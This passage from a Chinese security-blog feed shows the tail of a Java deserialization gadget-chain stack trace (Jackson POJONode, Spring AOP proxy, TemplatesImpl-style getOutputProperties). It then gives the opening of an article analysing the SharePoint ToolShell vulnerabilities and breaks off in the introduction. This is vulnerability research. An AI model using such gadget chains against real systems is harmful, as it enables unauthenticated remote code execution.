solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">43</span></span><span leaf="">, DelegatingMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">568</span></span><span leaf="">, Method (java.lang.reflect)</span><span leaf="">invokeJoinpointUsingReflection:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">360</span></span><span leaf="">, AopUtils (org.springframework.aop.support)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">216</span></span><span leaf="">, JdkDynamicAopProxy (org.springframework.aop.framework)</span><span leaf="">getOutputProperties:-</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1</span></span><span leaf="">, $Proxy0 (jdk.proxy1)</span><span leaf="">invoke0:-</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1</span></span><span leaf="">, NativeMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">77</span></span><span leaf="">, NativeMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">43</span></span><span leaf="">, DelegatingMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">568</span></span><span leaf="">, Method (java.lang.reflect)</span><span leaf="">serializeAsField:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">688</span></span><span leaf="">, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)</span><span leaf="">serializeFields:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">760</span></span><span leaf="">, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)</span><span leaf="">serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">183</span></span><span leaf="">, BeanSerializer (com.fasterxml.jackson.databind.ser)</span><span leaf="">defaultSerializeValue:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1185</span></span><span leaf="">, SerializerProvider (com.fasterxml.jackson.databind)</span><span leaf="">serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">117</span></span><span leaf="">, POJONode (com.fasterxml.jackson.databind.node)</span><span leaf="">_serializeNonRecursive:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">104</span></span><span leaf="">, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)</span><span leaf="">serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">84</span></span><span leaf="">, InternalNodeMapper$WrapperForSerializer (com.fasterxml.jackson.databind.node)</span><span leaf="">serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">39</span></span><span leaf="">, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)</span><span leaf="">serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">20</span></span><span leaf="">, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)</span><span leaf="">_serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">503</span></span><span leaf="">, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)</span><span leaf="">serializeValue:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">342</span></span><span leaf="">, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)</span><span leaf="">serialize:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1587</span></span><span leaf="">, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)</span><span leaf="">_writeValueAndClose:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1289</span></span><span leaf="">, ObjectWriter (com.fasterxml.jackson.databind)</span><span leaf="">writeValueAsString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1140</span></span><span leaf="">, ObjectWriter (com.fasterxml.jackson.databind)</span><span leaf="">nodeToString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">33</span></span><span leaf="">, InternalNodeMapper (com.fasterxml.jackson.databind.node)</span><span leaf="">toString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">242</span></span><span leaf="">, BaseJsonNode (com.fasterxml.jackson.databind.node)</span><span leaf="">valueOf:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">4222</span></span><span leaf="">, String (java.lang)</span><span leaf="">append:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">173</span></span><span leaf="">, StringBuilder (java.lang)</span><span leaf="">toString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">457</span></span><span leaf="">, AbstractCollection (java.util)</span><span leaf="">toString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1083</span></span><span leaf="">, Vector (java.util)</span><span leaf="">valueOf:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">4222</span></span><span leaf="">, String (java.lang)</span><span leaf="">toString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">266</span></span><span leaf="">, CompoundEdit (javax.swing.undo)</span><span leaf="">toString:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">695</span></span><span leaf="">, UndoManager (javax.swing.undo)</span><span leaf="">valueOf:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">4222</span></span><span leaf="">, String (java.lang)</span><span leaf="">add:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">213</span></span><span leaf="">, EventListenerList (javax.swing.event)</span><span leaf="">readObject:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">309</span></span><span leaf="">, EventListenerList (javax.swing.event)</span><span leaf="">invoke0:-</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1</span></span><span leaf="">, NativeMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">77</span></span><span leaf="">, NativeMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">43</span></span><span leaf="">, DelegatingMethodAccessorImpl (jdk.internal.reflect)</span><span leaf="">invoke:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">568</span></span><span leaf="">, Method (java.lang.reflect)</span><span leaf="">invokeReadObject:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1104</span></span><span leaf="">, ObjectStreamClass (java.io)</span><span leaf="">readSerialData:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">2434</span></span><span leaf="">, ObjectInputStream (java.io)</span><span leaf="">readOrdinaryObject:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">2268</span></span><span leaf="">, ObjectInputStream (java.io)</span><span leaf="">readObject0:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">1744</span></span><span leaf="">, ObjectInputStream (java.io)</span><span leaf="">readObject:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">514</span></span><span leaf="">, ObjectInputStream (java.io)</span><span leaf="">readObject:</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">472</span></span><span leaf="">, ObjectInputStream (java.io)</span></code></pre></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p></div></div></div></div></div><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247492311">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a4d1ddce&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492311%26idx%3D1%26sn%3D9922b0495216c1442d0b9868051388be">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 23 Aug 2025 11:59:00 +0800</pubDate>
    </item>
    <item>
      <title>微软 SharePoint ToolShell 漏洞链深度剖析：从漏洞原理到未公开触发姿势解锁</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492265&amp;idx=1&amp;sn=75e8308ce6321258e20fde487075c906</link>
      <description>深度剖析微软 SharePoint ToolShell 漏洞链，解锁了漏洞原理及多种未公开的触发姿势。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-08-11 07:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>深度剖析微软 SharePoint ToolShell 漏洞链，解锁了漏洞原理及多种未公开的触发姿势。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6057f23f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVanWiaNpNDIibUZxtcCre2ycbmhck7MbvxfPwaAX7YmGZ7gtWiaC805Y6Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">引言</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近期微软修复了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Pwn2Own</span></code><span leaf="">披露</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf="">一组被命名为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolShell</span></code><span leaf="">的系列漏洞，包括</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49704</span></code><span leaf="">、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49706</span></code><span leaf="">、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-53770</span></code><span leaf="">、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-53771</span></code><span leaf="">，整个漏洞利用过程无需身份认证并且可以实现</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf="">。对</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolShell</span></code><span leaf="">的分析过程比较波折，因为该漏洞公开的影响版本信息不太准确。研究发现该漏洞对</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf="">版本有一定要求，最后在</span><span leaf="">打上一些补丁后才成功，不知道有没有人遇到过这个问题。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">当前该漏洞利用链的公开信息比较杂乱， </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-53770</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-53771</span></code><span leaf=""> 可以看成是对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49704</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-49706</span></code><span leaf=""> 修复补丁的绕过，经过分析发现这组漏洞也可以看成众多历史漏洞的延续。下面将从漏洞原理对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolShell</span></code><span leaf=""> 利用链进行深入分析，并分享多种未公开的漏洞触发方式。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">SPWebPartManager 操作 WebPart</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">分析前，我们首先对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf="">框架中</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf="">这个特殊的组件进行分析。</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SharePoint</span></code><span leaf="">通过界面可以定制共享视图中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, 